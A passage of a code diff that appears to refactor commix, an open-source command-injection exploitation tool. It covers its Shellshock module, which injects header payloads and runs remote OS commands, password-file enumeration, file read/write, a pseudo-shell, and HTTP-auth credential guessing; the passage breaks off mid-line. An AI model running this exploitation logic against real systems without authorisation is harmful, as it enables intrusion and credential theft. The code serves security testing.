"LVL3"}.get(settings.INJECTION_LEVEL) + if _level_suffix: + for _name in ("SEPARATORS", "PREFIXES", "SUFFIXES", "EVAL_PREFIXES", "EVAL_SUFFIXES", "EVAL_SEPARATORS", "EXECUTION_FUNCTIONS"): + _source = getattr(settings, _name + "_" + _level_suffix) + setattr(settings, _name, sorted(set(_source), key=_source.index)) else: err_msg = "The value for option '--level' " @@ -486,17 +504,17 @@ def main(filename, url, http_request_method): raise SystemExit() if menu.options.test_parameter and menu.options.skip_parameter: - if type(menu.options.test_parameter) is bool: - menu.options.test_parameter = None - else: + test_names = {p.split("=")[0] for p in menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX)} + skip_names = {p.split("=")[0] for p in menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX)} + if test_names & skip_names: err_msg = "The options '-p' and '--skip' cannot be used " - err_msg += "simultaneously (i.e. only one option must be set)." + err_msg += "simultaneously for the same parameter(s)." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.ignore_session: # Ignore session - session_handler.ignore(url) + session_handler.ignore() # Check provided parameters for tests checks.check_provided_parameters() @@ -1036,6 +1054,9 @@ def _time_limit_reached(signum, frame): filename = logs.logs_filename_creation(url) session_handler.restore_waf_status(url) main(filename, url, http_request_method) + else: + err_msg = "Unable to establish a connection with the target URL." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: output_href = [] @@ -1120,8 +1141,6 @@ def _dedupe_lazy(iterable): if len(output_href) != 0: if filename is not None: filename = crawler.store_crawling(output_href) - info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) total_href = len(clean_output_href) # Removing duplicates from the identified (crawled) forms (order-preserving, O(n)). @@ -1131,8 +1150,15 @@ def _dedupe_lazy(iterable): if x not in seen_forms: seen_forms.add(x) clean_output_forms.append(x) + + # Merge target/form counts into one message (total_href is None in lazy stdin mode). + summary_parts = [] + if total_href: + summary_parts.append(str(total_href) + " target" + "s"[total_href == 1:]) if len(clean_output_forms) != 0: - info_msg = "Found a total of " + str(len(clean_output_forms)) + " form" + "s"[len(clean_output_forms) == 1:] + "." + summary_parts.append(str(len(clean_output_forms)) + " form" + "s"[len(clean_output_forms) == 1:]) + if summary_parts: + info_msg = "Found a total of " + " and ".join(summary_parts) + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Test crawled POST forms first; their method/data are handled separately. @@ -1141,22 +1167,7 @@ def _dedupe_lazy(iterable): orig_user_defined_post_data = settings.USER_DEFINED_POST_DATA for form_url, form_data in clean_output_forms: if check_for_injected_url(form_url): - if settings.SKIP_VULNERABLE_HOST is None: - while True: - message = "An injection point has already been detected against '" + _urllib.parse.urlparse(form_url).netloc + "'. " - message += "Do you want to skip further tests involving it? [Y/n] " - skip_host = common.read_input(message, default="Y", check_batch=True) - if skip_host in settings.CHOICE_YES: - settings.SKIP_VULNERABLE_HOST = True - break - elif skip_host in settings.CHOICE_NO: - settings.SKIP_VULNERABLE_HOST = False - break - elif skip_host in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(skip_host) - pass + prompt_skip_vulnerable_host(form_url) if settings.SKIP_VULNERABLE_HOST: form_num += 1 @@ -1237,22 +1248,7 @@ def _dedupe_lazy(iterable): href_count_suffix = ("/" + str(total_href)) if total_href is not None else "" for url, is_last_href in with_is_last(clean_output_href): if check_for_injected_url(url): - if settings.SKIP_VULNERABLE_HOST is None: - while True: - message = "An injection point has already been detected against '" + _urllib.parse.urlparse(url).netloc + "'. " - message += "Do you want to skip further tests involving it? [Y/n] " - skip_host = common.read_input(message, default="Y", check_batch=True) - if skip_host in settings.CHOICE_YES: - settings.SKIP_VULNERABLE_HOST = True - break - elif skip_host in settings.CHOICE_NO: - settings.SKIP_VULNERABLE_HOST = False - break - elif skip_host in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(skip_host) - pass + prompt_skip_vulnerable_host(url) if settings.SKIP_VULNERABLE_HOST: url_num += 1 diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index f81d11b091..f6d2e68b0f 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -13,26 +13,30 @@ For more see the file 'readme/COPYING' for copying permission. """ -import os -import sys - from src.utils import menu from src.utils import settings -from src.thirdparty.colorama import Fore, Back, Style, init + +""" +A module should reuse the shared core building blocks (requests/checks/shell_options/handler) instead of reimplementing them - see shellshock.py as the reference implementation. +""" + +""" +Registered modules: CLI flag name (matching the menu.options attribute) -> (import path, handler). +""" +MODULES = { + "shellshock": ("src.core.modules.shellshock.shellshock", "shellshock_handler"), +} """ Load modules """ def load_modules(url, http_request_method, filename): - - # Check if defined the shellshock module - if menu.options.shellshock : - try: - # The shellshock module - from src.core.modules.shellshock import shellshock - # The shellshock handler - shellshock.shellshock_handler(url, http_request_method, filename) - except ImportError as err_msg: - settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) + for name, (module_path, handler_name) in MODULES.items(): + if getattr(menu.options, name, False): + try: + module = __import__(module_path, fromlist=[handler_name]) + getattr(module, handler_name)(url, http_request_method, filename) + except ImportError as err_msg: + settings.print_data_to_stdout(settings.END_LINE.LF + settings.print_critical_msg(err_msg)) + raise SystemExit() raise SystemExit() - raise SystemExit() \ No newline at end of file diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index f084b67488..59c3c9ff05 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -1,24 +1,19 @@ #!/usr/bin/env python import re -import os -import sys import string import random from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import http_client as _http_client -from src.utils import common from src.utils import menu from src.utils import logs from src.utils import settings -from src.core.requests import proxy -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.shells import bind_tcp -from src.core.shells import reverse_tcp -from src.core.requests import parameters +from src.utils import session_handler +from src.core.requests import requests from src.core.requests import headers as log_http_headers from src.core.injections.controller import checks +from src.core.injections.controller import handler +from src.core.injections.controller import controller default_user_agent = menu.options.agent default_cookie = "" @@ -35,12 +30,8 @@ """ if settings.MULTI_TARGETS or settings.STDIN_PARSING: - if settings.COOKIE_INJECTION: - settings.COOKIE_INJECTION = None - if settings.USER_AGENT_INJECTION: - settings.USER_AGENT_INJECTION = None - if settings.REFERER_INJECTION: - settings.REFERER_INJECTION = None + controller.init_http_header_injection_status() + controller.init_cookie_injection_status() # Available Shellshock CVEs shellshock_cves = [ @@ -48,6 +39,20 @@ "CVE-2014-6278" ] +""" +A -p naming a cookie's own key isn't shellshock's concern - only one naming the header itself restricts it. +""" +def _header_testable(check_header): + name = check_header.lower() + header_names = [h.lower() for h in settings.SHELLSHOCK_HTTP_HEADERS] + if settings.TESTABLE_PARAMETERS_LIST: + if any(p in header_names for p in settings.TESTABLE_PARAMETERS_LIST): + return name in settings.TESTABLE_PARAMETERS_LIST + return True + if settings.SKIP_PARAMETERS_LIST: + return name not in settings.SKIP_PARAMETERS_LIST + return True + """ Available shellshock payloads """ @@ -69,205 +74,65 @@ def shellshock_exploitation(cve, cmd): return payload """ -Print percentage calculation +Send a request with the given header set to payload, restoring the CLI-provided value afterward. """ -def print_percentage(no_result, response_info, cve, float_percent): - if float(float_percent) == 100: - if no_result == True: - percent = settings.FAIL_STATUS - else: - percent = settings.info_msg - no_result = False - elif len(response_info) > 0 and cve in response_info: - percent = settings.info_msg - no_result = False - else: - percent = str(float_percent)+ "%" - return percent, no_result +def _send_header_payload(url, check_header, payload): + header = {check_header: payload} + request = _urllib.request.Request(url, None, header) + if check_header == settings.COOKIE: + menu.options.cookie = payload + if check_header == settings.USER_AGENT: + menu.options.agent = payload + response = log_http_headers.send_request(request) + if check_header == settings.COOKIE: + menu.options.cookie = default_cookie + if check_header == settings.USER_AGENT: + menu.options.agent = default_user_agent + return response + +""" +Build the shared execute_cmd(cmd) -> output callback, logging execution only when asked to. +""" +def _command_executor(url, cve, check_header, filename, log_execution=False): + def execute_cmd(cmd): + shell = cmd_exec(url, cmd, cve, check_header, filename) + if log_execution and shell: + logs.executed_command(filename, cmd, shell) + return shell + return execute_cmd """ Enumeration Options """ def enumeration(url, cve, check_header, filename): - _ = False - if menu.options.hostname: - checks.print_enumenation().hostname_msg() - cmd = settings.HOSTNAME - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - checks.print_hostname(shell, filename, _) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - checks.print_enumenation().current_user_msg() - cmd = settings.CURRENT_USER - cu_account, payload = cmd_exec(url, cmd, cve, check_header, filename) - if cu_account: - checks.print_current_user(cu_account, filename, _) - settings.ENUMERATION_DONE = True - - if menu.options.is_root: - checks.print_enumenation().check_privs_msg() - cmd = re.findall(r"" + r"\$(.*)", settings.IS_ROOT) - cmd = ''.join(cmd) - cmd = checks.remove_parenthesis(cmd) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell: - checks.print_current_user_privs(shell, filename, _) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - checks.print_enumenation().os_info_msg() - cmd = settings.RECOGNISE_OS - target_os, payload = cmd_exec(url, cmd, cve, check_header, filename) - if target_os: - if target_os == "Linux": - cmd = settings.DISTRO_INFO - distro_name, payload = cmd_exec(url, cmd, cve, check_header, filename) - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - cmd = settings.RECOGNISE_HP - target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.print_os_info(target_os, target_arch, filename, _) - settings.ENUMERATION_DONE = True - - if menu.options.users: - checks.print_enumenation().print_users_msg() - cmd = settings.SYS_USERS - cmd = checks.remove_command_substitution(cmd) - sys_users, payload = cmd_exec(url, cmd, cve, check_header, filename) - if sys_users: - checks.print_users(sys_users, filename, _, None, None, cmd, None, None, None, None, url, None, interpreter=False) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - checks.print_enumenation().print_passes_msg() - cmd = settings.SYS_PASSES - cmd = checks.remove_command_substitution(cmd) - sys_passes, payload = cmd_exec(url, cmd, cve, check_header, filename) - if sys_passes : - checks.print_passes(sys_passes, filename, _, interpreter=False) - settings.ENUMERATION_DONE = True + checks.run_enumeration(_command_executor(url, cve, check_header, filename), filename, url) """ File Access Options """ def file_access(url, cve, check_header, filename): + checks.run_file_access(_command_executor(url, cve, check_header, filename), filename) - if menu.options.file_write: - file_to_write, dest_to_write, content = checks.check_file_to_write() - cmd = checks.write_content(content, dest_to_write) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - cmd = checks.check_file(dest_to_write) - cmd = checks.remove_command_substitution(cmd) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.file_write_status(shell, dest_to_write) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - cmd, file_to_read = checks.file_content_to_read() - cmd = checks.remove_command_substitution(cmd) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.file_read_status(shell, file_to_read, filename) - settings.FILE_ACCESS_DONE = True - -""" -Execute the bind / reverse TCP shell """ -def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - +Enumeration, file access, --os-cmd, --os-shell - shared by fresh detection and resume. """ -Configure the bind TCP shell -""" -def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.BIND_TCP = True - # Set up RHOST / LPORT for the bind TCP connection. - bind_tcp.configure_bind_tcp(separator = "") - if settings.BIND_TCP == False: - if settings.REVERSE_TCP == True: - os_shell_option = "reverse_tcp" - reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - while True: - # LPORT is always a validated numeric string (see check_lport()), so it can - # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. - cmd = bind_tcp.bind_tcp_options(separator = "") - result = checks.check_bind_tcp_options(cmd) - if result != None: - if result == 0: - return False - elif result == 1 or result == 2: - go_back_again = True - settings.BIND_TCP = False - return go_back, go_back_again - # execute bind TCP shell - execute_shell(url, cmd, cve, check_header, filename, os_shell_option) - -""" -Configure the reverse TCP shell -""" -def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): - settings.REVERSE_TCP = True - # Set up LHOST / LPORT for the reverse TCP connection. - reverse_tcp.configure_reverse_tcp(separator = "") - if settings.REVERSE_TCP == False: - if settings.BIND_TCP == True: - os_shell_option = "bind_tcp" - bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again - while True: - # LPORT is always a validated numeric string (see check_lport()), so it can - # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. - cmd = reverse_tcp.reverse_tcp_options(separator = "") - result = checks.check_reverse_tcp_options(cmd) - if result != None: - if result == 0: - return False - elif result == 1 or result == 2: - go_back_again = True - settings.REVERSE_TCP = False - return go_back, go_back_again - # execute bind TCP shell - execute_shell(url, cmd, cve, check_header, filename, os_shell_option) - -""" -Check commix shell options -""" -def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result): - if os_shell_option == False: - if no_result == True: - return False - else: - return True - - if os_shell_option == None: - return go_back, go_back_again - - # The "back" option - elif os_shell_option == "back": - go_back = True - return go_back, go_back_again - - # The "os_shell" option - elif os_shell_option == "os_shell": - warn_msg = "You are in the '" + os_shell_option + "' mode." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - return go_back, go_back_again +def _post_exploitation(url, cve, check_header, filename, technique, no_result): + if settings.ENUMERATION_DONE: + checks.ask_redo_stored_session("enumerate", lambda: enumeration(url, cve, check_header, filename)) + else: + enumeration(url, cve, check_header, filename) - # The "bind_tcp" option - elif os_shell_option == "bind_tcp": - go_back, go_back_again = bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again + if settings.FILE_ACCESS_DONE == True: + checks.ask_redo_stored_session("access files", lambda: file_access(url, cve, check_header, filename)) + else: + file_access(url, cve, check_header, filename) - # The "reverse_tcp" option - elif os_shell_option == "reverse_tcp": - go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) - return go_back, go_back_again + if menu.options.os_cmd: + checks.run_single_os_cmd(_command_executor(url, cve, check_header, filename), filename) - # The "quit" / "exit" options - elif os_shell_option == "quit" or os_shell_option == "exit": - checks.quit(filename, url, _ = True) + # Opens later, at quit(), same as the main flow. + execute_cmd = _command_executor(url, cve, check_header, filename, log_execution=True) + handler.pseudo_terminal_shell_generic(url, filename, technique, no_result, execute_cmd, on_found_declined=lambda: None) """ The main shellshock handler @@ -275,17 +140,38 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r def shellshock_handler(url, http_request_method, filename): counter = 1 - vp_flag = True no_result = True - export_injection_info = False injection_type = "results-based command injection" - technique = "shellshock injection technique" + # Not an injection technique like the others - it's the '--shellshock' module. + technique = "shellshock module" + + try: + # Resume everything at once and quit, like the core engine's LOAD_SESSION path. + stored = [row for row in session_handler.get_all_stored_shellshock(url, http_request_method) if _header_testable(row[0])] + if stored: + rows = [(technique, injection_type, check_header, stored_payload, "HTTP Header") for check_header, stored_payload in stored] + checks.resumed_injection_points_summary(rows) + + # Still applies on resume, same as fresh detection. + first_header, _ = stored[0] + _post_exploitation(url, shellshock_cves[0], first_header, filename, technique, no_result=False) + + checks.suggest_os_shell() + settings.INJECTION_CHECKER = True + settings.SHOW_LOGS_MSG = True + checks.quit(filename, url, hard_exit=False) - try: i = 0 + asked_keep_testing = False total = len(shellshock_cves) * len(settings.SHELLSHOCK_HTTP_HEADERS) for check_header in settings.SHELLSHOCK_HTTP_HEADERS: + if not _header_testable(check_header): + continue + + found_this_header = False + cve = shellshock_cves[0] + for cve in shellshock_cves: # Check injection state settings.DETECTION_PHASE = True @@ -297,301 +183,108 @@ def shellshock_handler(url, http_request_method, filename): # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.print_payload(payload)) - header = {check_header : payload} - request = _urllib.request.Request(url, None, header) - if check_header == settings.COOKIE: - menu.options.cookie = payload - if check_header == settings.USER_AGENT: - menu.options.agent = payload - log_http_headers.do_check(request) - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again. - response = log_http_headers.check_http_traffic(request) - if response is None: - # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = _send_header_payload(url, check_header, payload) if type(response) is bool: response_info = "" else: response_info = response.info() - if check_header == settings.COOKIE: - menu.options.cookie = default_cookie - if check_header == settings.USER_AGENT: - menu.options.agent = default_user_agent + # The CVE's own marker, injected into the payload, lands back as a raw response header. + found = len(response_info) > 0 and cve in response_info + if found: + no_result = False + done = found or (no_result and i >= total) + checks.injection_process(injection_type, technique, done=done, i=i, total=total) - percent, float_percent = checks.percentage_calculation(i, total) - percent, no_result = print_percentage(no_result, response_info, cve, float_percent) - - if settings.VERBOSITY_LEVEL == 0: - info_msg = "Testing the " + technique + "." + "" + percent + "" - settings.print_data_to_stdout(settings.END_LINE.CR +settings.print_info_msg(info_msg)) - - - if no_result == False: + if found and not found_this_header: + found_this_header = True # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True - # Print the findings to log file. - if export_injection_info == False: - export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) - - vuln_parameter = "HTTP Header" - the_type = settings.SINGLE_WHITESPACE + vuln_parameter - check_header = settings.SINGLE_WHITESPACE + check_header - vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) - check_header = check_header[1:] - logs.update_payload(filename, counter, payload) - - if settings.VERBOSITY_LEVEL != 0: - checks.total_of_requests() - - settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + vuln_parameter - # Print the findings to terminal. - info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + technique + "." - if settings.VERBOSITY_LEVEL == 0: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) - settings.print_data_to_stdout(settings.print_sub_content(payload)) - - # Enumeration options. - if settings.ENUMERATION_DONE: - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - enumeration(url, cve, check_header, filename) - break - elif enumerate_again in settings.CHOICE_NO: - break - elif enumerate_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - enumeration(url, cve, check_header, filename) - - # File access options. - if settings.FILE_ACCESS_DONE == True: - while True: - message = "Do you want to ignore stored session and access files again? [y/N] " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - file_access(url, cve, check_header, filename) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(file_access_again) - pass - else: - file_access(url, cve, check_header, filename) - - if menu.options.os_cmd: - cmd = menu.options.os_cmd - checks.print_enumenation().print_single_os_cmd_msg(cmd) - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - checks.print_single_os_cmd(cmd, shell, filename) - - # Pseudo-Terminal shell - try: - checks.alert() - go_back = False - go_back_again = False - while True: - if go_back == True: - break - # --os-shell is a direct action flag, not a prompt default - no question asked either way. - vuln_message = checks.vulnerable_message(url) - gotshell = settings.CHOICE_YES[0] if menu.options.os_shell else settings.CHOICE_NO[0] - if gotshell in settings.CHOICE_YES: - settings.print_data_to_stdout(settings.OS_SHELL_TITLE) - if settings.READLINE_ERROR: - checks.no_readline_module() - while True: - if not settings.READLINE_ERROR: - checks.tab_autocompleter() - # Prompt passed straight to input() (via safe_input()) so readline owns - # it and redraws it correctly on tab/history, instead of pre-printing it - # separately and leaving the "line still open" bookkeeping out of sync. - cmd = common.safe_input(settings.OS_SHELL) - if len(cmd) == 0: - cmd = "os_shell" - cmd = checks.escaped_cmd(cmd) - if cmd.lower() in settings.SHELL_OPTIONS: - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) - if os_shell_option is not False: - go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result) - if go_back and go_back_again == False: - break - if go_back and go_back_again: - return True - else: - shell, payload = cmd_exec(url, cmd, cve, check_header, filename) - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - settings.print_data_to_stdout(settings.command_execution_output(shell)) - else: - debug_msg = "Executing the '" + cmd + "' command. " - if settings.VERBOSITY_LEVEL == 1: - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - elif settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - settings.print_data_to_stdout(settings.print_payload(payload)) - if settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = common.invalid_cmd_output(cmd) - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - if menu.options.abort_on_empty: - raise SystemExit() - elif gotshell in settings.CHOICE_NO: - # Handle the parameter-wide decision before the technique-specific one. - if checks.skip_testing(filename, url, announce=vuln_message + " "): - checks.keep_testing_others(filename, url) - proceed = False - else: - proceed = checks.next_attack_vector(technique, go_back) - if proceed: - break - else: - if no_result == True: - return False - else: - logs.logs_notification(filename) - return True - - elif gotshell in settings.CHOICE_QUIT: - raise SystemExit() - - else: - common.invalid_option(gotshell) - continue - break - - except (KeyboardInterrupt, SystemExit): - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - - except EOFError: - if settings.STDIN_PARSING: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Exiting, due to EOFError." - settings.print_data_to_stdout(settings.print_error_msg(err_msg)) - raise - - except TypeError: + vuln_parameter = check_header + the_type = settings.SINGLE_WHITESPACE + "HTTP Header" + header_name = settings.SINGLE_WHITESPACE + check_header + settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + "HTTP Header" + checks.announce_vulnerable_finding(filename, injection_type, technique, the_type, header_name, http_request_method, vuln_parameter, payload, counter, decode_payload=False) + + # Persist for future resume. + settings.HTTP_HEADER = check_header + session_handler.import_injection_points(url, technique, injection_type, filename, "", True, vuln_parameter, "", "", "", False, payload, http_request_method, 0, 0, 0, 0, settings.INJECTION_LEVEL) + + if found_this_header: + _post_exploitation(url, cve, check_header, filename, technique, no_result) + + # Asked once for the whole run, not once per header. + if not asked_keep_testing: + asked_keep_testing = True + if checks.prompt_keep_testing(url): break - if no_result == True: + if settings.CONFIRMED_INJECTION_POINTS: + checks.quit(filename, url, hard_exit=False) + elif no_result == True: if settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = "All tested HTTP headers appear to be not injectable." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - else: - logs.logs_notification(filename) except _urllib.error.HTTPError as err_msg: + # 500/400 during header/CVE probing just means this combination failed - not fatal. if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: - response = False - elif settings.IGNORE_ERR_MSG == False: - err = str(err_msg) + "." - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_critical_msg(err)) - continue_tests = checks.continue_tests(err_msg) - if continue_tests == True: - settings.IGNORE_ERR_MSG = True - else: - raise SystemExit() - - except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] - err_msg = ' '.join(err_msg)+ "." - if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _http_client.IncompleteRead as err_msg: - settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ".")) - raise SystemExit() - + response = False + else: + requests.request_failed(err_msg) + + except (_urllib.error.URLError, _http_client.IncompleteRead) as err_msg: + requests.request_failed(err_msg) + +""" +Per-binary cache of the path prefix that resolved it last time, so a repeated command skips straight to its known-working prefix instead of re-probing the bare/'/bin/'/'/usr/bin/' cascade. +""" +RESOLVED_CMD_PREFIX = {} + """ Execute user commands """ def cmd_exec(url, cmd, cve, check_header, filename): - + """ Check for shellshock 'shell' """ def check_for_shell(url, cmd, cve, check_header, filename): try: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - cmd = "echo " + TAG + "$(" + cmd + ")" + TAG + cmd = "echo " + TAG + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + TAG payload = shellshock_exploitation(cve, cmd) debug_msg = "Executing the '" + cmd + "' command. " if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - - if settings.VERBOSITY_LEVEL != 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) settings.print_data_to_stdout(settings.print_payload(payload)) - header = {check_header : payload} - request = _urllib.request.Request(url, None, header) - if check_header == settings.USER_AGENT: - menu.options.agent = payload - log_http_headers.do_check(request) - # check_http_traffic() already sends the request - reuse its result - # instead of sending the same request again. - response = log_http_headers.check_http_traffic(request) - if response is None: - # Check if defined any HTTP Proxy. - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - if check_header == settings.USER_AGENT: - menu.options.agent = default_user_agent + response = _send_header_payload(url, check_header, payload) shell = checks.process_page_content(response, action="decode").rstrip().replace(settings.END_LINE.LF,' ') shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) - shell = ''.join(shell) - return shell, payload + return ''.join(shell) except _urllib.error.URLError as err_msg: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + requests.request_failed(err_msg) - shell, payload = check_for_shell(url, cmd, cve, check_header, filename) - if len(shell) == 0: - cmd = "/bin/" + cmd - shell, payload = check_for_shell(url, cmd, cve, check_header, filename) - if len(shell) > 0: - pass - elif len(shell) == 0: - cmd = "/usr" + cmd - shell, payload = check_for_shell(url, cmd, cve, check_header, filename) - if len(shell) > 0: - pass + cmd_name = cmd.split(settings.SINGLE_WHITESPACE)[0] + prefixes = ["", "/bin/", "/usr/bin/"] + cached_prefix = RESOLVED_CMD_PREFIX.get(cmd_name) + if cached_prefix in prefixes: + prefixes.remove(cached_prefix) + prefixes.insert(0, cached_prefix) - return shell, payload + for prefix in prefixes: + shell = check_for_shell(url, prefix + cmd, cve, check_header, filename) + if shell: + RESOLVED_CMD_PREFIX[cmd_name] = prefix + return shell -""" -The exploitation function. -(call the injection handler) -""" -def exploitation(url, http_request_method, filename): - if shellshock_handler(url, http_request_method, filename) == False: - return False + return shell # eof \ No newline at end of file diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 5449c39e56..64ca162e5d 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -14,19 +14,20 @@ """ import os -import sys -import time -import base64 +try: + import concurrent.futures + _THREADS_SUPPORTED = True +except ImportError: + # "concurrent.futures" needs Python 3.2+; fall back to serial on Python 2. + _THREADS_SUPPORTED = False from src.utils import menu from src.utils import settings from src.utils import session_handler -from src.core.requests import proxy from src.core.requests import headers from src.core.requests import redirection from src.utils import common from src.core.injections.controller import checks -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.colorama import Style from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_cookiejar as _http_cookiejar @@ -54,8 +55,6 @@ def authentication_process(http_request_method): request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=settings.HTTPMETHOD.POST) # Check if defined extra headers. headers.do_check(request) - # Must go through the cookie-jar opener installed above (not - # check_http_traffic()'s own opener), or the jar never gets filled. response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) # HTTPCookieProcessor only fills the jar after the response is received. cookies = "" @@ -106,6 +105,34 @@ def define_wordlists(): return usernames, passwords +""" +Try one (username, password) pair; True on success. Uses its own opener, not the global one. +""" +def _try_credentials(url, realm, http_request_method, authentication_type, username, password): + try: + if authentication_type.lower() == settings.AUTH_TYPE.BASIC: + authhandler = _urllib.request.HTTPBasicAuthHandler() + else: + authhandler = _urllib.request.HTTPDigestAuthHandler() + authhandler.add_password(realm, url, username, password) + request = _urllib.request.Request(url, method=http_request_method) + if menu.options.ignore_proxy: + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), authhandler, redirection.RedirectHandler()) + elif menu.options.tor: + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), authhandler, redirection.RedirectHandler()) + else: + if menu.options.proxy: + request.set_proxy(menu.options.proxy, settings.SCHEME) + opener = _urllib.request.build_opener(authhandler, redirection.RedirectHandler()) + headers.do_check(request) + response = opener.open(request, 